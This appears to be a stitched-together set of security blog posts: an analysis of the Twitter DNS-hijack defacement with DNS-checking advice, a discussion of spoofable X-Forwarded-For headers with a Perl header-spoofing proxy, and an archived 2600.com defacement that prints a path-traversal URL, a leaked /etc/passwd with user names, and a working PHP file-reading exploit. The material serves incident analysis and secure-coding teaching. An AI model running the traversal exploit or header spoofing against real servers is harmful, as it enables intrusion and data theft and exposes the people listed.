It had to happen, didn’t it? I’ve fired up Pidgin with the microblog-purple plugin, only to get an “invalid certificate” error for twitter. I’ve quickly became nervous, since a quick digging indicated that I was getting the wrong IP address for the domain twitter.com.

My first thought was: “I’ve been compromised”. After quickly verifying my hosts file and my DNS entry, all seemed fine on the surface. My second thought was: “my DNS server was compromised”, so I’ve done the same lookup using OpenDNS and the new Google DNS, both coming up with different (but wrong) answers. Finally I’ve checked out a couple of other HTTPS sites and they seemed fine. So I took a deep breath and (putting my faith in NoScript and RequestPolicy) visited twitter.com to find the following page:

Quick analysis:

• This seems to be a “good old” defacement
• A very likely scenario is that they somehow compromised the DNS registrar account (phising, dumb password reset, etc) and changed it to point to an other IP.
• Currently I’m seeing a couple of different IPs out there for the twitter.com domain:
  • My DNS server (and OpenDNS) returns 66.147.242.88
  • Google DNS returns 74.217.128.160
• The correct address seems to be 168.143.171.84, so if you put the following line in your host file, thing should start working again (you might need to do an ipconfig /flushdns if you’re on Windows):

  168.143.171.84 twitter.com

• The above is a hackish solution, and I would recommend using it only in life-and-death situations :-p. It is the best to let Twitter handle the incident and make sure that everything is cleaned up.
• It is unclear when exactly the defacement happened, but it must have been in the last 10 hours or so. It might have been specifically targeted so that it is late in the day in the USA so that the reaction is delayed.
• According to Google Translate (Babelfish doesn’t know Arabic unfortunately) the text below the picture says:

  Ok, so I’m a big ignorant idiot. The official language of Iran is Persian (also known as Farsi or Parsi), not Arabic. Thank you to Anonymous for pointing it out. According to this article the text in the picture says:

  This site has been hacked by the Iranian Cyber Army (on the flag)

  and

  The USA thinks they control and manage internet access, but they don’t. We control and manage the internet with our power, so do not try to incite the Iranian people (under the picture)

  Some people also seem to have screenshots with English texts on them.

• The rogue server doesn’t seem to respond to any Twitter API requests, so it doesn’t seem to be that they were going after usernames and passwords (which they very well might have done, considering the number of users who click trough SSL certificate warnings), but just to be on the safe side, change your password and don’t use the same password on all the sites!

Update: As of now all seems to be back to normal and all the DNS servers return the correct IP address. I’m waiting for an explanation in Twitter (mostly because I’m interested in how it happened :-)).

Update: Twitter acknowledges the hack on their blog and say that they will provide more information as it becomes available (however they erroneously affirm that the API were working correctly – they weren’t, since they used the same DNS record to contact Twitter – in fact this is how I’ve became aware of the hack).

Bonus: what sources can you use to investigate such incidents?

• First of all, be suspicious of SSL certificate errors! I know that they (sadly) are quite common these days, but be vigilant!
• Check that the problem is not at your end. Check that you have the correct DNS server (there are a couple of malware families out there which set a custom DNS server for the machine to control the users browsing destinations). Check that the given hostname is not present in your hosts file (again, there are a couple of malware families using this method to misdirect users)
• Check what the IP address should be, by using domaintools for example (and looking at the server stats page)
• Try looking up the DNS name using several DNS servers (this might not work if your network filters DNS queries):

  # nslookup
  > set type=ANY
  > twitter.com
  ...
  > server 8.8.8.8
  > twitter.com
  ...
  > server 208.67.222.222
  > twitter.com
  ...

• An other option is to use the vURL service to fetch the suspicious webpage from different location and compare the results with what you are seeing.

Using these methods you can quickly ascertain with pretty good accuracy where the fault lies and take appropriate action. Have a safe holiday everybody!

Update:

• Read about the subject on the TrendMicro Countermeasures Blog.
• Some more links to information and the source of the defaced webpage at Hacker News.
• SANS posted about in issue in the diary.
• I’ve update the translations, thanks to Anonymous
• Twitter posted an update about the issue. It doesn’t many more details, it does however give a timeframe for the problem: between 21:46 and 23:00 PST . There are some rumors out there that somehow (phising?) the correct password to the DNS management interface was obtained and it was used to modify the records. Twitter still has the original blogpost up saying that API’s were not affected, but this is not true! If you’ve used a third party Twitter client and you’ve clicked trough the certificate warning (or maybe it doesn’t use TLS at all), your password might have been compromised. Currently there is no evidence that the rogue server was logging passwords, but until the time some forensics is done on it, there is no sure way to tell if this was the case (since it is trivial to configure a webserver such that it responds with a 404 error, while still logging the details of the request).
• Arbor Networks posted a related article.
• Sucuri has also posted about the issue. They have a nice little network monitoring / alerting system. You can also use them as a third-party information source.
• ISS X-Force (part of IBM) has also a nice writeup about the incident.
• Brian Krebs has an informative writeup on the SecurityFix blog about the issue which quotes Dyn’s (the host for the Twitter DNS) CTO as saying: “Someone logged in who purported to be a legitimate user of their [DNS] platform account and started making changes”, further strengthening the probability that a Twitter employee’s email account was broken into via some mechanism.
• There is also a lot of confusion out there, as it always is the case with (security) news. I’ve heard someone saying that “why did the DNS host allow the redirection of Twitter to a host in Iran?” – just to clarify: even though the hack was claimed by the “Iranian Cyber Army” (which might not mean anything! it could be your nerdy neighbor), the server it was redirected to was in the US.

Picture taken from pugetsoundphotowalks’ photostream with permission.

• IP addresses are not a 100% reliable unique identifier. Well known methods of circumventing such restrictions are dynamic IP addresses and proxy servers. A less well-known method is BGP hijacking for example. These couldn’t have been the method used however, because almost any router (hopefully) would have dropped the packets containing private addresses.
• Make sure that the IP addresses are actually private. The actual private IP ranges are the following (as defined by section 3 of RFC 1918):
  • 10.0.0.0 – 10.255.255.255
  • 172.16.0.0. – 172.31.255.255
  • 192.168.0.0 – 192.168.255.255

  It is easy for someone not working daily with these ranges to mistake an IP close to these ranges as private, like 196.168.1.2. An other source of confusion can come from the less intuitive range for the B class (for example the address 172.15.80.1 is public and routable)

Now for the actual cause: my first (and, as it turns out, correct) intuition was that the software was trying to be too clever for its own good and was parsing the “X-Forwarded-For” header. This header can be added by proxies to indicate the original source of the request, but – as other user input – can be relatively easily spoofed by the client. For example below is a small Perl script, which uses HTTP::Proxy and adds an arbitrary X-Forwarded-For header to your requests (you can find the most up-to-date version of the script in my SVN repository):

#!/usr/bin/perl
use strict;
use warnings;
use HTTP::Proxy;
use HTTP::Proxy::HeaderFilter::simple;
use Data::Dumper;

my $proxy = HTTP::Proxy->new;
$proxy->x_forwarded_for(0);
$proxy->port(3128);
$proxy->push_filter(
 mime    => undef,
 request => HTTP::Proxy::HeaderFilter::simple->new(
  sub { $_[1]->header('X-Forwarded-For' => '10.1.2.3') },
    ),
);
$proxy->start;

There are a couple of issues here:

• PHP mixes values of different “trust levels” in the same structure. In fact the, the actual code from the project looked like this: if (!array_key_exists('ip', $this->arrCache)) { $this->arrCache['ip'] = strlen($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; }. As you can see, both REMOTE_ADDR and X_FORWARDED_FOR were obtained from the same array, even though REMOTE_ADDR is much more trust-worthy (not counting issues like route-hijacking)
• The next logical question would be: what sanitization is done on this value? I didn’t dig more deeply in the code, but judging from the code-fragment, not very much. In fact, if I recall correctly, this header can contain multiple IP addresses if the request passed trough multiple proxies, a case which doesn’t seem to be handled by this code. It can contain IPv6 addresses. It also can contain characters which can cause problems if the value is used in a certain way (think SQL injection or command injection)

The conclusion is that you must take great care in determining which input parameter can be controlled by whom and under what condition and make your judgment call on filtering and escaping depending on that. When in doubt, filter. It is better to loose a couple of milliseconds in performance than ending up with a p0wned infrastructure.

Update: An other possible dangerous situation can be when a reverse proxy is in front of one or more webservers. With this setup the developer can easily get the impression that the X-Forwarded-For header is controlled by our proxy, so it is safe to use the values from it without filtering, right? Wrong! A quick look at two widely used solutions (Apache and Squid) show that both can be configured to concatenate the user supplied value with the IP address. In fact, this is the default behaviour for mod_proxy.

Speaking of p0wned infrastructure, apparently 2600.com was defaced for a short period of time in the weekend and contained the following piece of output (archived for posterity):

Go Hack Tetris!

o_O

O_o

^_O

www.gosu.pl/tetris/


http://www.2600.com/cuba/index.khtml?post=.///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////../../../../../etc/passwd

root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5:System &:/:/sbin/nologin
bin:*:3:7:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin
news:*:8:8:News Subsystem:/:/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin
ftp:*:21:21:Anonymous FTP:/u/ftp:/sbin/nologin
sshd:*:22:65533:sshd unprivileged processes:/:/sbin/nologin
postfix:*:25:25:Postfix Mail System:/nonexistent:/nonexistent
bind:*:53:53:Bind Sandbox:/:/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico
xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin
pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin
apache:*:80:80:Apache:/nonexistent:/sbin/nologin
apache2:*:8080:80:Apache:/nonexistent:/sbin/nologin
webstats:*:81:83:Web Statistics:/nonexistent:/sbin/nologin
thttpd:*:82:82:thttpd web server:/nonexistent:/sbin/nologin
htproxy:*:85:85:http proxy server:/nonexistent:/sbin/nologin
audit:*:87:87:system audit processes:/nonexistent:/sbin/nologin
mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin
namazu:*:89:89:Namazu Database:/var/db/namazu:/sbin/nologin
apache2:*:90:90:World Wide Web Owner:/nonexistent:/sbin/nologin
ash:*:1000:1000:ash:/home/ash:/bin/tcsh
emmanuel:*:1001:20:emmanuel:/home/emmanuel:/bin/tcsh
mec:*:1002:1002:mec:/home/mec:/sbin/nologin
omar:*:1003:1003:omar:/home/omar:/sbin/nologin
marko:*:1004:1004:marko:/home/marko:/sbin/nologin
kerry:*:1005:1005:kerry:/home/kerry:/bin/tcsh
juintz:*:1006:1006:juintz:/home/juintz:/bin/tcsh
css:*:1007:1007:carl shapiro:/home/css:/bin/tcsh
kpx:*:1008:1008:kpx:/home/kpx:/sbin/nologin
lgonze:*:1009:1009:lgonze:/home/lgonze:/sbin/nologin
mlc:*:1010:1010:mlc:/home/mlc:/bin/tcsh
ashcroft:*:1011:1011:ashcroft:/home/ashcroft:/usr/local/bin/noshell
ortbot:*:2001:2001:www.ortinstitute.org automated processes:/nonexistent:/sbin/nologin
lexnex:*:2002:2002:lexnex:/home/lexnex:/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin
sephail:*:1012:1012:Joseph Battaglia:/home/sephail:/sbin/nologin
redhackt:*:1013:1013:Red Hackt:/home/redhackt:/bin/tcsh
thedave:*:1014:1014:Dave Buchwald:/home/thedave:/bin/tcsh
phiber:*:1015:1015:Phiber:/home/phiber:/bin/tcsh
mark:*:1016:1016:Mark:/home/mark:/usr/local/bin/bash

<?php

// current path: $webroot = "/u/www/www.2600.com";

$file = '../../../etc/passwd';
// file can also be a directory name (must end with a slash) - gives directory structure, file_get_contents bug??
// its a little obfuscated with some random chars, but readable

// ------

$save = 'sources/';

$url = 'http://www.2600.com/cuba/index.khtml?post=';
$post = './/../../'.$file;

$overflow = 993;

while (strlen($post) < $overflow) {
    $post = str_replace('.//', './//', $post);
}

$url = $url . $post;

$cont = curl_cont($url);

preg_match('#<div id='blog'>s*<strong>[^<>]+</strong>s*<br>([sS]+)</div>s*<div class='clears'>s*</div>#Ui', $cont, $match);
$cont = $match[1];
$cont = preg_replace('#(rn|n|r)<br>(rn|n|r)(rn|n|r)<br>(rn|n|r)#', "rnrn", $cont);
$cont = preg_replace('#<br>(rn|n|r)#', "rn", $cont);
$cont = trim($cont);

if (!$cont) {
    echo 'failed';
    exit;
}

highlight_string($cont);

if (!function_exists('fput')) {
    function fput($f, $s)
    {
        $fp = fopen($f, 'w');
        fwrite($fp, $s);
        fclose($fp);
    }
}

$file = str_replace('http://www.2600.com/cuba/index.khtml?post=', '', $url);
$file = str_replace('../', '', $file);
$file = str_replace('./', '', $file);
$file = preg_replace('#/{2,}#', '', $file);
$file = str_replace('/', '-', $file);

if (!$file) {
    $file = '__index';
}
if ($file) {
    $file = $save.$file;
    if (!file_exists($file)) {
        @fput($file, $cont);
    }
}

function curl_cont($url, $options = array())
{
    $page = curl_get($url, $options);
    if (200 == $page['http_code']) {
        return $page['cont'];
    }
    return null;
}
function curl_get($url, $options = array())
{
    $url = str_replace(' ', '%20', $url);
    $ch = curl_init($url);

    curl_setopt($ch, CURLOPT_HEADER, isset($options['include_header']) ? $options['include_header'] : 0);
    if (substr($url, 0, strlen('https')) == 'https') {
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    }
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    if (isset($options['userpwd'])) {
        curl_setopt($ch, CURLOPT_USERPWD, $options['userpwd']);
    }
    if (isset($options['timeout'])) {
        $timeout = ceil($options['timeout']);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    }
    if (isset($options['max_size'])) {
        $range = "0-{$options['max_size']}";
        curl_setopt($ch, CURLOPT_RANGE, $range);
    }
    if (isset($options['referer'])) {
        curl_setopt($ch, CURLOPT_REFERER, $options['referer']);
    }
    // example agent: 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'
    if (isset($options['agent'])) {
        curl_setopt($ch, CURLOPT_USERAGENT, $options['agent']);
    }
    if (isset($options['headers'])) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $options['headers']);
    }
    if (isset($options['cookie']) && count($options['cookie'])) {
        $cookie = '';
        foreach ($options['cookie'] as $name => $value) {
            $cookie .= sprintf('%s=%s; ', $name, urlencode($value));
        }
        $cookie = trim($cookie);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }

    $cont = curl_exec($ch);
    $error = curl_error($ch);
    if ($error) {
        trigger_error('curl_exec() failed: '.$error, E_USER_ERROR);
    }
    $inf = curl_getinfo($ch);
    $inf['cont'] = $cont;
    curl_close($ch);

    return $inf;
}

?> 

Picture taken from Simon Strandgaard’s photostream with permission.